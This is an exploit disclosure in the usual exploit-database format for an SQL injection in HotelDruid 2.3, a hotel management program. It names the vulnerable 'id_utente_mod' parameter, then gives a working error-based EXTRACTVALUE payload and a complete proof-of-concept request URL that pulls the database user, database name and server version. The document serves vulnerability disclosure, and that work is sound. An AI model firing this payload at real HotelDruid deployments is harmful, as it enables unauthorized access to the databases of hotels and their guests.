HotelDruid 2.3 SQL Injection

`# Exploit Title: SQL Injection in HotelDruid version 2.3  
# Google Dork: N/A  
# Date: 9-12-2018  
# Exploit Author: Sainadh Jamalpur  
# Vendor Homepage: http://www.hoteldruid.com  
# Software Link: https://sourceforge.net/projects/hoteldruid/  
# Version: 2.3 (REQUIRED)  
# Tested on: Windows x64/ Kali linux x64  
# CVE : N/A  
  
Description:  
Hoteldruid is an open source program for hotel management (property  
management software) developed by DigitalDruid.Net  
Vulnerability Description:  
the "id_utente_mod" parameter is Vulnerable to SQL Injection Vulnerability.  
Payload:  
1' AND EXTRACTVALUE(5,CONCAT(0x5c,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT  
(ELT(5=5,1)))))-- -  
  
Poc: http://hoteldruid/gestione_utenti.php?anno=2018&id_sessione=&modifica_gruppi=SI&id_utente_mod=1%27%20AND%20EXTRACTVALUE(5,CONCAT(0x5c,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT%20(ELT(5=5,1)))))--%20%20-  
  
  
`